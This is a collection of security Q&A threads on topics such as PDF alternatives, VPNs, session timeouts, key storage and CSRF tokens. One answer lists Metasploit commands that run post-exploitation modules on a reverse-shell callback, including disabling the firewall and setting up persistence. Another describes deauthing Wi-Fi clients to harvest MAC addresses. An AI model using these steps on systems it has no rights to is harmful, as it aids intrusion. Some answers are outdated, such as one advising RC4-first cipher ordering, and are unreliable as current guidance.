What PDF file format alternative should I choose if I am looking for more security in my document files? There are tons of exploits being created using the PDF file format for most PDF viewers out there every year. PDF files have lots of power and can utilize things such as JavaScript. This is really good but comes with the cost that there is a lot of attack surface. The company "owning" PDF is also very restrictive about how we, the people, can use it (e.g. creating our own PDF viewer isn't going to make Adobe happy).
Is there a file format that can match the PDF file format's capabilities of formatting documents but is more secure?
By more secure I mean: what I am looking for is a document file format that has <2% number of exploits published each year than PDF (e.g. top 3 PDF viewers combined), a smaller code base, no JavaScript functionality because JavaScript is inherently insecure (look at why and how it was made and you'll see very quickly JS is insecure). A good post about why PDF is inherently insecure: What are the security risks associated with PDF files?
I want people to post options so there is at least one place on the internet where PDF file format competitors are set against the PDF file format.

There are a number of ways to divulge documents, all with their pro and cons. A simple comparison of a number of common formats is:
Format             Pro                           Con

MS Word .doc    Everyone can read it           Allows macro viruses

odt             Everyone can read it           Several exploits known

PDF             Everyone can read it           Javascript etc.

HTML            Everyone can read it           Not fixed document layout,
                                               Javascript

Postscript      Almost everyone can read it    Not as flexible as PDF
                (or at least print it)

mark-down       Everyone can read it           Rudimentary lay-out possible

DjVu            Readers available; Chrome      Not standard on Windows,
                displays it                    readers must be installed explicitly

EPUB            Almost everyone can read it    Allows scripting (epubjs
                                               or even javascript)
LaTex, groff    good formatting                Requires that the document
                                               is processed before it can
                                               be read

The obvious choice would be postscript.
Alternatively, you can do a conversion yourself; On a Linux system, pdf2ps or pdftops will create a postscript file. You can then convert it back to PDF (ps2pdf). That will create a relatively clean PDF file, stripped of all sorts of PDF niceties.
----EDIT----
Added some more formats.
As stated in the comments (@schroeder), this is also about user experience. It depends also if your the recipient of the document, or the sender. And if you are the recipient, whether you have a central point where you can cleanse the document.


up2date tools for security audit linux / centos I'm setting up a new CentOS 6 server and am looking into some security audit tools to validate my configuration and to point out weak spots in the server.

There are a lot of non up2date tools out there on source forge no longer updated
Which Linux (distro) is recommended for auditing and guidance in terms of security configuration of the server?
Are there any tools that can help guide an administrator to configure a new server to determine if anything has been setup incorrectly/insecurely?

you can use a combination of a vulnerability scanner and credentialed checking to achieve a decent level of confidence in a base build.

Nessus, Nexpose and OpenVAS will all do scans of servers and if provided with credentials to log into the server will so some more detailed checks.  Nessus and Nexpose are commercial products but have options which can be used for free for (AFAICR) non-commercial use only.

OpenVAS is open source so is freely usuable.

In addition to that the commercial version of Nessus can do compliance checking against Center for Internet Security or other security standards.

The benchmarks that CIS provide are usually worth reading in and of themselves as they have some decent suggestions for build hardening (although they don't have RedHat CentOS 6 coverage yet as far as I can see, I'd imagine that the v5 standard would still be largely applicable)


What is this hotspot doing to my traffic? I'm currently staying at a Four Seasons resort using their Wifi. I noticed that while surfing all non-https sites, my webpage seems to be forced into a frame.  For example, here is what google's homepage (over http) looks like on the hotspot:

<frameset id="frameset1" name="frameset1" rows="35,*" framespacing="0" frameborder="0">
<frame name="top" scrolling="NO" src="http://google.com/?d96a349c52fc4f68eea46a47ccb3d361=http://p1846.superclick.com//std/fourseasons_tiered_new/toolbar.php?noframe_url=http://p1846.superclick.com/superclick/noiframes.php?url=http://google.com/&">
<frame name="main" scrolling="YES" src="http://google.com/?d96a349c52fc4f68eea46a47ccb3d360">
</frameset>
<noframes>
Frames are required, for this page to display correctly.
Click here to continue to the requested page
</noframes>

My guess is that they're basically tracking my internet traffic through a third-party (superclick) for advertising purposes.. can anyone perhaps more versed in the area offer some more insight?

I think you are very close; but checking out superclick.com, seems like its being done for network monitoring and management purposes.

http://www.superclick.com/mama-analytics


Does parallel VPN create more anonymity? I have never heard of parallel VPNs and could not find more than the following site - https://thesafety.us/en/parallel_vpn - relating to it.

As I understood it, the idea is to set up two parallel tunnels by e.g. using a VPN connection on your router and then setting up a second to another server on your PC. This is supposed to encrypt the data flow twice.

My question is: Does it really help increasing your anonymity or is it just a hoax?

Potentially.

If you have two separate VPN providers, both would need to keep logs of your connection which then could be traced back to you.
I would find a trustworthy VPN provider and just keep one, more than one is just paranoid, or for those that risk sever repercussions in case of being discovered (in which case I wouldn't do it from my home anyway).

There are many other ways to be identified over the internet, so don't think that having a VPN or a fancy parallel VPN is all you need. Take a look at IPLeak.net.
The cookies of a particular website, for example, are used to identify you.
If you visit or login to that website even once without your VPN you will be recognized by them even when using the VPN.

Anonymity is achieved by common sense and good IT knowledge, not a fancy VPN.


Key based encryption for files with the key stored on a USB drive? We're a small startup running a server inside the clients premises and certain files needs to be kept encrypted on that server. We want the decryption to be only possible when we plug in a particular USB drive (with the private key inside it). Are there any free implementations of this? I tried using GPG but it does not allow the private key to be stored temporarily (unlike SSH).

I would not use that approach. When you mount a USB drive, read a file from it, etc all sorts of copies of that data could end up in OS memory, logs, etc. You'll be fighting an uphill battle to make this secure, especially if the attacker has the ability to take memory dumps of the server, or plant malware on the server.

A better approach would be to use some sort of USB hardware crypto module so that the server itself never needs to touch the private keys. The idea is that the cryptographic keys live on the crypto device and never leave it, you send the data you want to encrypt / decrypt to the device, it does the crypto operation for you and returns the results.

With this approach you are guaranteed that no caches of the private key exist on the server because the server never touched it in the first place, and if you pull out the USB device, the server loses the ability to do crypto operations, which I think is which you want.

Some technolgies / search terms you can look for include:

usb smartcard
cryptographic token
PKCS#11 token
TPM (trusted platform module)
HSM (hardware security module)

You may want to look into hardware-based solutions like USB smart-cards, TPMs, or lightweight HSMs where the crypto is done on the device so that the server never actually touches the key.


Metasploit: Is it possible to automatically kick off a script on a reverse-shell callback? Is it possible to automatically kick of a Metasploit script when a TCP Reverse Shell connection connects back into the handler?

e.g. Reverse-Shell connects back in, automatically kick off a script that will make the connection persistent.

Yes. You can do this using the AutoRunScript function.

set AutoRunScript multi_console_command -rc /root/commands.rc

Where /root/commands.rc contains the commands you with to run.

For example

run post/windows/manage/migrate
run post/windows/manage/killfw
run post/windows/gather/checkvm

From this point it would be trivial to gain persistence.

For more information check these resources:

Autoscript

Metasploit automatic module execution on receival of shell?


I was logged in as another user to a site, how? It happened last year but I still wonder to this day. I was looking for coupons for the site Alltrails. I had a free account and wanted to get a Pro account. I randomly opened lots of search results, but I couldn't find a coupon. Upon going back to Alltrails I was surprised to see I was logged in as a different user (some random dude's account) and it was a Pro account. I was happy about it and downloaded the trails I needed then discontinued the use, and left it unchanged.

What could have been going on behind the scenes, how is this even possible?

This also happened another time on a vastly different lesser-known local site. All of a sudden I see myself logged in as someone else (that I don't know).

Are the sessions / their cookies getting messed up? What are the chances...

Without knowing the website itself and the processes / code behind it, it is hard to exactly pinpoint what caused you to be able to login as a different user on those websites. There are a lot of possible issues, some are listed down below.

The website might have a vulnerability that causes some users to receive the same session or cookie ID. When doing this on purpose, it is called session hijacking or stealing cookies, you can look up exactly how this works;
Another possibility is that you followed an URL which was not protected and you ended up as a different user on the website.

As explained in the comments, it is really hard to bug track or reverse engineer what happened without knowing what might have caused this behaviour. You can report the issue to the website owners to see if they can fix the issue. You can find the support email address of Alltrains in their terms and conditions, listed here:

https://www.alltrails.com/terms

There are a lot of vulnerabilities that might cause such behaviour and especially for the lesser known website I could image it not being completely secure (then again, what is).


Do I ultimately have to hold a key in my head? To preface, I'm not an IT security person, just a layman intrigued by the logic. I had this question while reading about Ladar Levison turning a key to his email service on paper to the government. That means that he has this key on a storage device somewhere. Then that storage device must be encrypted somehow. Then the key to open that storage device must be stored somehow. And so on and so forth.

Thus my question is: is it true that ultimately someone like Ladar Levison must hold the "final key" in his head?

In human terms, this "final key" often takes the form of a password.  The password is used to gain access to the place where the "real key" is stored.

In the computer security world, we use cryptographic algorithms to perform the security operations.  But some of these algorithms can't just use passwords as keys, because they require specialized large numbers to make the math work.  Since we humans aren't typically capable of remembering 256 digit cryptographic keys, we need to use storage devices to hold them.  And because we don't want just anyone who gets ahold of that storage device to have a copy of the keys, we usually protect these secret keys by encrypting them.

But now we're back to the same problem:  how do we encrypt these secret keys if we still can't remember a key?  Instead of remembering a key, we remember a password, and use an algorithm called a Key Derivation Function to turn our password into a cryptographic key.  This key is then used to decrypt the actual secret key needed to access the sensitive data.

In the physical world, this is similar to placing your car keys in a safe.  You'd have to know the combination to the safe in order to get the car keys, the combination lock turns your combination (your password) into mechanical position of pins and disks (the physical manifestation of the key required to throw the bolt,) then you could open the safe and get the car keys. Once you have the car keys, you can unlock the car and drive away.

And for very high security keys, such as the master keys for a debit card network, or the root certificate keys for a Certificate Authority, it is not uncommon to keep the keys or a password printed on a piece of paper and locked in a safe. Only the data owner knows the combination.  Another choice with cryptography is to split the key into three or more parts, requiring three people to get together to reassemble the key.


Why would an attacker try to guess random email usernames on a small domain? My mail server has recently come under a very bizarre attack.  Every five to ten minutes, a new IP connects to SMTP, attempts to try weird usernames (like pil, bennett, netscape, msfuser, desktop, fenix, clamav, emily, wwwrun, etc).  Every attempt follows the same exact pattern, trying the username as the password, then username1, then username123, then 123456.  After that my server blacklists the IP and rejects all further requests from that IP.

This seems like the most useless attack ever.  What could they possibly be hoping to accomplish?  Originally there was a configuration error that resulted in my mail server rejecting mail from my spam proxy due to the attack, but I fixed that a while ago and yet they still continue the attempts.

It's not bothering my server any since the requests are fairly slow and not any particular volume.  It's got zero chance of finding a working username that way, particularly since all my domain's that are handled by this mail server are very small (like 5 or 10 users total). It's burning through a bunch of botnet nodes that can get reported.  It seems like an excessive amount of cost (revealing IPs containing bots) relative to the very limited chances of getting a benefit (based on how limited the scan is).  Is this kind of thing just common on the Internet and somehow my server has stayed under the radar from it so far (despite being up for 10+ years and previously having a relatively high popularity site on it)?

These attacks have little to no cost and risk to the attacker.  Imagine if the attacker has control over a botnet of a few thousand computers.  That's at least a couple thousand tries for username+pass.  If it picks the most common usernames and passwords it has a chance (small, but still not none) of getting access to your system.

While you may not have anything particularly valuable for them to steal, they now have 1 more computer, which they can use to compromise others, whom might actually have valuable data.

If this is being done over hundreds of thousands of domains the chances of getting access to at least a few is pretty good.

No cost + No risk = Lots of Attempts.

They're probably checking your mail server because they might have more lax password timeouts.  There are a lot of people who reuse passwords too, so they may get lucky.


Encrypting mobile user data in event of PIN/device compromise As I understand it, modern mobile OS's often encrypt app data when a device is locked with a pin or password. However, how do I protect users if their device or pin has been compromised?

If I manually encrypt certain pieces of my app data, where do I store the key to decrypt it in the event a hacker or unauthorized user gets hold of the physical device or pin/password?

How do I protect users if their device or pin has been compromised?

The best way is to avoid storing data on the device in the first place. This however means that the app won't be able to work offline, needs to re-download data each time and might have performance impact.

In the end it depends on the risk you want to accept and the user experience you want to give to your users. One possible solution is to require the user to setup a separate pin/password in the app which is used to derive an encryption key. Keep in mind however that in case of a physical compromise of the device, the data is vulnerable to offline brute force attacks. The security of this data depends thus on:

A strong password policy
A solid encryption scheme

Basically once the data is out there, it's only a matter of time.


Is it safe to store bearer tokens in an iframe and/or pass them back to the parent window? I am not a security expert, so I am hoping that a few of you might be able to tell me if there are any gaping flaws in the security design for my web app. Hopefully I'll be able to explain this clearly enough to get my point across.

I have a website which makes calls to my api. Both use SSL and are hosted in Azure, but have different domains / servers. I am also using ASP .Net Identity 2.0 and OAuth bearer tokens, with a 30 day expiration, to track whether or not a user is "logged-in".

Users can log-in either via the main website, or by using a widget which can be added to ANY 3rd-party site.

To keep things secure, the widget creates an iframe which points to a page on my api server, and all functionality, such as login and transaction processing takes place within this iframe.

The parent page uses postMessage to communicate with the iframe when something needs to happen, but to prevent anything on the parent page from getting access to that token, it only exists within the iframe's local/session storage and is never communicated back up the stack.

So far this all seems to be working as intended, but I've run into a scenario where I now need to communicate the token back to the parent for code running on my website. However, I'm hesitant to do this, as it potentially creates a security hole.

Does anyone have any thoughts on whether this is an acceptable risk for code I control, or if there are any issues with the general approach I've taken?

You shouldn't allow your authentication/authorization page to be embedded in an IFrame, because you can't prevent clickjacking attacks that way.

From RCF6749, Section 10.13 "Clickjacking":

  To prevent this form of attack, native applications SHOULD use
  external browsers instead of embedding browsers within the application
  when requesting end-user authorization.  For most newer browsers,
  avoidance of iframes can be enforced by the authorization server using
  the (non-standard) "x-frame-options" header.  This header can have two
  values, "deny" and "sameorigin", which will block  any framing, or
  framing by sites with a different origin, respectively.  For older
  browsers, JavaScript frame-busting techniques can be used but may not
  be effective in all browsers.

Not that the danger here is not that someone overlays an invisible button on top of your site's iframe, but the other way around: an attacker creates an inocuous-looking button like "Display cute kittens" and overlays your "Authorize this app to access all of my data" frame on top of that. When the user clicks the "kittens" button he's actually giving access to his account to the attacker. The only way around that is to not allow your flow in an iframe. Or just assume the risk and live with it.

Appart from that, you should be careful with bearer tokens: whoever holds them has authorization, and they're sent over the wire for every operation. A lifetime of 30 days for something like an access_token is a bad idea.

For your own app you can solve it however you please, oauth2 offers the "Resource owner credentials" flow which is a good option IMHO. But you don't really need oauth here.

For 3rd party websites you should use a server-side flow with short-lived access_tokens and long-lived refresh_tokens that require client authentication (whenever possible)

For user-agent side consumers (native apps) you should use a client-side flow with short-lived tokens and take additional precautions. Or use something different from oauth, oauth is very web-centric.

PS: I'd also like to point out that @HTLee comment on the question is wrong:

  For anyone considering doing this - it is best to avoid the bearer
  token approach. If you can make use of the authorization code grant
  flow, the token is stored server side, and is never exposed to the
  browser (plus for security). With a bearer token approach the token
  needs to be exposed to the browser

"Bearer" is a property of the token that means "whoever's in possession of this string is authorized". It is not tied to a particular flow and in fact the "authorization code" flow will produce a bearer token called access_token (and optionally another one called refresh_token).

The alternative to "bearer" tokens is a MAC Token, which is never sent over the wire. The spec for MAC tokens in oauth2 is not standarized yet.

That's what Eran Hammer's post was about and is only tangential to OP's question.


Password entry: are "paste from password manager" and "eyeball to view passwords" mutually-exclusive features? Context
NIST SP 800-63b gives the following guidance for password forms (aka login pages):

Verifiers SHOULD permit claimants to use “paste” functionality when entering a memorized secret. This facilitates the use of password managers, which are widely used and in many cases increase the likelihood that users will choose stronger memorized secrets.

In order to assist the claimant in successfully entering a memorized secret, the verifier SHOULD offer an option to display the secret — rather than a series of dots or asterisks — until it is entered. This allows the claimant to verify their entry if they are in a location where their screen is unlikely to be observed. The verifier MAY also permit the user’s device to display individual entered characters for a short time after each character is typed to verify correct entry. This is particularly applicable on mobile devices.

Question
I had the argument made to me that these two features should not be implemented together because they would allow a user to circumvent a password manager's protection and view the auto-populated password. I suspect this argument won't hold water, but I'm curious about community opinions.

Password managers are not meant to hide your passwords from yourself
It's as simple as that. To whit: most password managers let you view your own password anytime you want anyway. I say "most" only because I haven't used them all. I've worked with a few sites where auto fill doesn't work for reasons outside the password managers control. Therefore viewing/copying your own passwords is a necessity.  IMO a password manager that doesn't let you view your own secrets is a broken password manager.
If you can use the password manager to view your own password, then an individual site that refuses to display a password at the user's request in an attempt to hide their password from themselves has grossly missed the bigger picture.
Some people use password managers, some don't
The ability to paste is very helpful when using password managers. The ability to view as you type is helpful for people who are typing their passwords (especially on phones). These are two different features for two different groups of people, both of whom can be expected to use a given site. Therefore to say you only need one of these features at a time is just silly...


Please explain the vulnerability for the pre-shared Key for IKEv1 brute force IPSec After the vulnerability was released for IPSec IKEv1 PSKs, our organization decided to increase the size and complexity of the PSK.

However, upon releasing the new PSK we had a few issues:

Chromebooks can not accept symbols for PSK entry.
Android can not accept PSK longer than 9 characters.

So we had to restrict the PSK to [a-zA-Z0-9]{9} which is log2(629) which turns into 53.5878 bits of entropy max.

I am pushing to switch to OpenVPN, but there is pushback to the idea.

How feasible would a brute force attack on 53.5878 bits be with the PSK for IKEv1 (using the vulnerability)?

Would periodically changing the PSK (like once a week) help?

A nearly 54-bit keyspace is not even close to enough. Consider that DES, which has an effective key size of 56 bits, is four times larger than this, yet there are numerous services that routinely crack arbitrary DES keys. Even if you changed the PSK once per week, the keyspace is just too low for it to be an effective security measure. You absolutely need to remedy this situation either by allowing for a larger PSK, or switching to an alternative protocol which is suitable for your needs. The absolute minimum key size should be 80 bits, with an ideal key being at least 128 bits.


When to logout a user? I am working on a security project which gives an admin control over certain devices in a company.

When using the web-based product, say the user switches context and opens another tab or skips to another tab, at what time should we log the user out and force re-credentialling to continue working? Given that the environment in which the user is going to be is mostly within the company, I was assuming a time of 5 minutes after which the user gets logged out.

The concern we have is that an unauthorised bystander might use the device and gain access to the company product.

This is a trade-off between usability and security and therefore there is no "right" answer. However, there are a few guidelines.

PCI DSS says 15 minutes at most:

  For a sample of system components, inspect system
  configuration settings to verify that system/session idle time out
  features have been set to 15 minutes or less.

ASP.NET has a default timeout of 20 minutes.

For PHP the default timeout is 24 minutes, but this is almost certainly by accident.

Some web applications (Facebook, Gmail) don't have an idle session timeout at all. If you want an idle timeout, around 15 or 20 minutes seems reasonable.


How is WEP/WPA2 key derived? When I was a kid, WEP had a 40 bit key.  Later, they came out with a 128-bit key.  But as we all know, WEP was so badly-designed that the RC4 key length didn't really matter much.

Ignoring this, my question is about how to derive the 40-bit or 128-bit key from an ASCII string: this used to be platform-specific.  In other words, you could enter the 40 or 128-bit key in hex form (which worked no matter the platform) or you could enter it as an ASCII phrase, which would then be turned into the underlying WEP key in some platform-specific manner, and sometimes incompatibilities would arise.

Nowadays, it seems like ASCII passwords are universal and things always work.  Can someone explain how this works?  Is there a standard you can point me to?

WPA2 is specified by IEEE 802.11i-2004 [pdf]. I think what you are looking for is in section H.4, "Suggested pass-phrase-to-PSK mapping" on page 165.


Are there any statistics about webservers and browsers TLS support? From Hackers break SSL encryption used by millions of sites:

  The vulnerability resides in versions 1.0 and earlier of TLS, or transport layer security, the successor to the secure sockets layer technology that serves as the internet's foundation of trust. Although versions 1.1 and 1.2 of TLS aren't susceptible, they remain almost entirely unsupported in browsers and websites alike

Is this true? Are there any statistics that can confirm that many sites/webbrowsers are still using TLS 1.0?

Yes, nearly everyone is still using SSL 3.0 or TLS 1.0. Ivan Ristic from Qualys did a nice talk at Blackhat about that this year.

As to whether or not the attack is real, I understand that it is indeed real, although there is some debate at the moment about its impact, since the details have not been made public yet.

UPDATE- We're recommending to our customers that they bump rc4 to the top of the ciphersuite list, since it won't be vulnerable to this attack. After a day's research, the attack looks both plausible and potentially severe.

For Apache, something like this should do it:

SSLCipherSuite !aNULL:!eNULL:!EXPORT:!DSS:!DES:!SSLv2:RC4-SHA:RC4-MD5:ALL
SSLHonorCipherOrder on


Breaking out of a strict linux sandbox running virtually under windows: do the linux-sandbox access control policies even matter? I am developing an application which will run untrusted code.  I have been designing it for linux, thinking that I can just run it in a virtual machine on windows when the need arises.  The linux security features are that the untrusted code is in an interpreted language running under seccomp, with syscalls mediated by a seccomp-like utrace policy, inside a restrictive linux container, and under a restrictive AppArmor profile.

A thought just occurred to me about running this virtualized under windows, though: suppose a hostile program manages to break the interpreted language and execute arbitrary machine code within the virtual machine.  Can it make direct system calls to the host windows OS, bypassing the linux access policies?  If so, I will need corresponding sandboxing policies in windows itself, something I am quite ignorant of.  Are there windows features corresponding to seccomp, utrace, linux containers, and AppArmor?

The linux security features are that the untrusted code is in an interpreted language running under seccomp, with syscalls mediated by a seccomp-like utrace policy, inside a restrictive linux container, and under a restrictive AppArmor profile.

... crikey. In a good way.

  Can it make direct system calls to the host windows OS, bypassing the linux access policies?

Well, the answer to this depends on how you are visualising and  a few other factors - which really needs a "how does virtualisation work" explanation to cover it.

Assuming Intel-VT, I've covered in a bit of depth (plus links) virtualisation here. As a very brief summary, your host does the usual operating system things - page tables, call gate decriptors. Then to run a virtual machine the host sets up another table for describing vms including a memory map for the vm and then runs a VMXON instruction - and then the VM is created.

From the perspective of the virtual machine, the memory it is presented is the whole system memory available to it - the same idea as virtual memory for a normal application. Under normal virtualisation scenarios you do not present the same memory your host runs on to the guest - you give it its own space which means it cannot directly reach any of your existing setup.

However, if you could map host memory to the guest, to make a host system call directly you'd need to be able to raise an interrupt registered with the host. Here's a fairly good internals of NT document - it's different enough from Windows that to actually implement this would probably require modifying your kernel and I'd be reasonably confident in saying that if you exposed the memory as is, you'd either break Windows, or you'd break Linux. This is, of course, assuming you map your host memory into the guest virtual machine... I might not be being very clear, so to say exactly what the problem is - linux has registered int 80 (or is using sysenter); Windows is registering int 2e or sysenter (another good article - same author as the previous one)). They could definitely register different software interrupt handlers if either had the other free... but sharing sysenter would be impossible without modification - and that's just a problem with memory locations. Things get even stickier when we talk about calling conventions...

We're not quite out of the woods yet though. Whilst you cannot directly easily without some serious engineering to modify the platforms involved call the host's system calls clearly there needs to be some way to communicate with the host some of the time. There is - a VMCall instruction (in the guest) causes a VMExit to the host with info exchange so the host can provision a request - if there are any vulnerabilities here, you might indirectly be able to call a system call, or call(s). These happen whenever you and the host need to share something other than the CPU and memory. Intel VT-d is an effort to provide DMA as needed in hardware, circumventing the need for VMCalls for some classes of device.

Things are slightly different if you do software virtualisation. To provide the same thing you have to write a CPU emulator - however, this is a host-running process and thus if you can inject code and execute it, you can call a system call in the context of whatever permissions the emulator has. This is comparable (very loosely, sort of, disclaimer: metaphorically speaking) to a bug in the JVM - a malformed piece of java bytecode that can inject shellcode into the VM is going to do nasty things, no matter the security provided by the JVM.

I should add the obvious here - I'm talking about engineering and virtual machine problems. If you set up a samba share and double click dodgy.exe that was provided by your malicious code, it's game over. It sounds like that's an obvious statement for you - but just in case other people think VMs solve all their problems... not quite.

Various references:

Codeproject's assembly reference for VM instructions.
Is bluepill really undetectable - important to understand how hard it is to map a host machine onto itself, a subset of the map parts of the host memory space into the (different OS) guest...
Attacks on Virtual Machine Emulators by Symantec. Discusses some of the things I've discussed, gets a bit distracted by blue pill-type stuff, but is a very good read nonetheless.

tl;dr

It would be very difficult (to the point of verging on rebuilding parts of the OSes) in hardware-based virtualisation to directly call a system call belonging to the host from the guest; even more so when they use different OSes. Exploits are possible indirectly, but then require vulnerabilities in the hypervisor code or its usage.


How would a mac address be compromised? I have read a lot of comments that suggest allowing specific mac addresses is not effective as anyone can spoof a mac address. I have a couple of questions;

How would they obtain a list of approved mac addresses if they are not connected to the network?
If someone has previously obtained the network key, and you change the password, are they still able to connect with just the key? (I am assuming the passphrase you pick is just converted to the key, is this assumption wrong?)

I ask because I am in the process of improving my network security after discovering others on it. Currently I have implemented the following;

Disabled WPS, New solid WPA-2 Personal Passphrase, Implemented an "allowed access" list of MAC addresses.

They would not need to obtain the list, just a single allowed MAC address suffices. Spoofing the network and deauthing a single client (forcing them to connect to their hotspot instead of yours) would allow anyone to obtain such a MAC address.
No, and your assumption is correct. The WPA key is derived from the password and the router will not allow anyone to connect with a WPA key that is not currently valid.

Edit:
Assuming your network contains mobile devices that regularly go outside the range of the network, one could simply sit just outside the range of your network with another (rogue) hotspot with the same SSID, wait for one of your devices to come out and connect to their network, revealing the authorized device's MAC address.


How do mobile apps maintain such long sessions while still being considered secure? I opened my Amazon iOS app for the first time in several months today, and was able to go straight through checkout (where I was able to view and update my address) without being asked to re-auth. How is it that possible while still being secure, as well as PCI compliant?

There are two specific security measures that help protect against the session-hijacking-and-place-fraud-order attacks that you are worried about:

The authentication tokens can be tied to the device, because the mobile app has easy access regarding the (mobile) account and device-specific ID (UDID) the auth token can be easily revoked if it is used for the wrong device, or in the wrong context.  That isn't technically a foolproof restriction because the actual service is happening over HTTP calls (which can be "spoofed" by a malicious user), but this means that actually taking advantage of a stolen auth token will require things like: the auth token, the device UDID (and potentially more identifying information), and detailed knowledge of the API calls used by amazon to place orders.  The risk is definitely low.
The other protection is that amazon doesn't just let you change addresses.   Even if someone gained access to your account they can't just place an order to themselves.  A general security measure amazon has had in place for a long time is that if an order is sent to a new address you must re-enter any stored credit card numbers.  This makes it impossible to send yourself stuff if you gain access to someone else's account.  You could get around this, of course, if you also had access to their credit card information, but as we all know, at that point in time the malicious user wouldn't bother using your account to place the fraudulent order.

So in short, the actual risk to amazon for doing this is very low, and the potential lost revenue due to making people log back in is (I'm sure) much higher, which is why they let long lasting sessions persist on their servers.

It's worth pointing out that there is more at stake here than simply fraudulent orders.  This one is worth a read:

https://www.wired.com/2012/08/apple-amazon-mat-honan-hacking/


Are there / have there ever been viruses that completely evade virus scanners for very long? Are there, or have there ever been viruses that completely evade all virus scanners for a long time (e.g. longer than a year?)

Yes. Stuxnet was being used to attack the Iranian nuclear facilities in 2007, but wasn't detected by AV or the public until June 2010. Part of its construction was designed to resist analysis by encrypting the payload against a value that could only be derived by a valid target system - it didn't appear to do anything particularly malicious outside of that payload.

It's not just malware, either. Bugs like Heartbleed and Shellshock are thought to have been exploited months or years in advance of disclosure. It was only once the exploit packets were known about that people were able to go back through their packet captures and identify cases where they may have been breached.


Cloudflare cipher selection based on AES-NI support How does Cloudflare selects AES ciphers on devices with AES acceleration and ChaCha on devices without it ?

During the TLS handshake the client sends the ciphers it supports in the order of preference. This way a client can signal that it would prefer ChaCha instead of AES ciphers since ChaCha is less resource intensive than AES when implemented in software only. The server can adhere to the clients preference when choosing the cipher and thus select ChaCha instead of AES.


What causes the "This site may be hacked" or "This site ahead contains malware" messages? How does Google exactly detect if a site may/is hacked? What exactly triggers the warnings?

I've seen plenty of companies offer services that help to remove these warnings on websites and get your site removed from this 'blacklist', but how does Google identify if a site may have been compromised or if it hosts malware in the first place?

I was thinking that Google may run some sort of scan on the website, but what would Google be scanning for?

I was about to answer this question, as I was doing a bit of research I stumbled upon this excellent answer from Quora by Steve Gill, Co-Founder and ex-Chief Scientist of a Premier Cyber Intelligence Organization. Then realised this answers it better than I could.

  I have worked with Google privately on some of their technology and
  was one of the few people they called for help when they themselves
  were hacked by China who stole their source code.

  Google China hackers stole source code - researcher

  Google have quite a few tools in their arsenal, and more have likely
  been added since.

  To name a few:

  They acquired and now fully host Virustotal, one of the biggest AV    engine aggregators in the world that can simultaneously scan files
  with 40–50 antivirus engines looking for signs of malware.
  They have a network of independent proxies that will load a webpage    and run it inside of a custom sandbox. Any unexpected system level
  modifications detected inside that sandbox help automatically report
  unwanted malicious behavior.
  They perform malware detection on the sites they crawl natively and    run them through simple algorithmic checks looking for well known
  malicious third party scripts and embedded code.
  They partner with third party data providers that feed them potential    malicious seed data.

  It is Google’s job to present data that is of highest quality for the
  browsing and searching experience. Helping prevent attacks against its
  users is keenly part of that tenant.

  Quite a few tools also help the web administrator deal with such
  problems proactively such as reporting on malicious content by AS (BGP
  Autonomous System Level Reporting), or directly to the administrator
  through tools such as the Webmaster Tools.


Encrypted quiz data in PHP and JS I'm developing a quiz with which you can win a few cool prizes. Therefore I'm afraid, that someone might try to hack/manipulate it.

All participants have to be logged in and the website takes 15 questions from the db, gives them to Javascript, which paint's the quiz then. When a user finishes all questions or answer one false, the quiz makes an Ajax call to the backend and insert the points in the db.

To decide what answer (there are always 4) is correct, the quiz must know which one is correct. This data is provided as Base64 encoded string and then decoded in Javascript.
Question 1: Is this secure? Are there better ways?

Always when the quiz is started, I save the quiz id in the database. When the final Ajax call is made, I check for that id, I check if the given answers are the one associated with the quiz (and the order of them), I check a token (there is one in the session and one in Javascript, both generated based on the quiz and some salt values, they are generated using md5, sha1 and substr in PHP)
Question 2: Is this secure? Are there better ways? Did I miss something?

Your proposed mechanism is not secure.

Anything available to JavaScript is available to the person running the client browser.  Base64 encoding only mildly obscures the answers.  Even encrypting them using strong crypto like AES will not work because the JavaScript must have the key.

Would someone go the trouble of figuring out the Base64, or encryption?  It depends on how cool those prizes are and is anyway security by obscurity.

You can deal with this in one of two ways.  The simplest way is to send all the answers to the server at the end of the quiz and check them on the server with PHP.  If you want to provide feedback for each question, you should make an Ajax call after each question is answered.

I can't really tell about your second question because there isn't enough detail.  However, everything related to security must be done on the server.  You can pass an opaque session ID back and forth between server and client, but you can't do anything on the client that forms a basis for the security of the system.

Finally, I worry about "some salt values."  Rolling your own crypto is not safe unless you have a Ph.D. in mathematics and ten or more years' experience with cryptography.


Renting a remote server with IPMI: is one vulnerable? It has been reported in the media and some security conscious mailing lists that some IPMI-enabled servers, implementations and brands suffer serious security issues.

When you go to a dedicated server provider to rent a preconfigured unmanaged server that has IPMI (whether or not it is enabled for your use), what are the things to look for, from the security standpoint?

I expect the problems that are referred to is the infamous cipher zero issue.  If you're renting a dedicated server with this capability, one option would be to complete a vulnerability scan of the server, to see if it's vulnerable.  Nessus definitely has a check for this issue, and Metasploit also has modules for detecting it (they have detail on the problem and the modules here)

A key point before scanning the server is to get permission (in writing) from the hosting company for the scan. Most companies I've seen are fine with that kind of scanning so long as they are notified.


Would this generated CSRF token be considered cryptographically strong? I am working on enhancing the security of an existing web application which currently has not implemented the use of anti-CSRF tokens, so it is up to me to generate one, add the hidden fields and checks, etc. A limitation right now is that neither the openssl or mcrypt modules are currently configured on the server.

Here is my token-generating code:

$csrfToken = base64_encode(uniqid(mt_rand(100, 999) . microtime(), true));

I have a feeling that this would provide an adequate token, but not a particularly strong one, but that's my own personal instinct. Does anybody have any suggestions as to how I can strengthen the security of this token without the use of mcrypt or openssl functions? Thank you!

EDIT: This is currently how I am verifying the token after the form is submitted, where $token is the token passed along with the request:

function validate_token($token) {
    return isset($_SESSION['csrfToken']) && $token === $_SESSION['csrfToken'];
}

I would say no. Here is an interesting article on a similar topic.

I would suggest:

Using a hash function (this does not add virtually any security on its own, but makes improvements mentioned below much more efficient), e.g. $csrfToken = base64_encode(hash("sha256", uniqid(mt_rand(100, 999) . microtime(), true), true));
Adding a long, random secret constant (this adds security while the secret constant remains secret - this value may be very easy read in shared-hosting server), e.g. $csrfToken = base64_encode(hash("sha256", "nS7W7@IEPJ~6&&vp#r>ziW-SGOC?s>!,.(s" . uniqid(mt_rand(100, 999) . microtime(), true), true));
Reading some bytes from /dev/urandom if this is available and adding them to value being hashed (this adds real security without use of PHP extensions mentioned in question post), e.g. $handle = fopen("/dev/urandom", "rb");
$urandom_data = fread($handle, 16);
if(strlen($urandom_data)!==16) exit("Unable to read /dev/urandom");
fclose($handle);
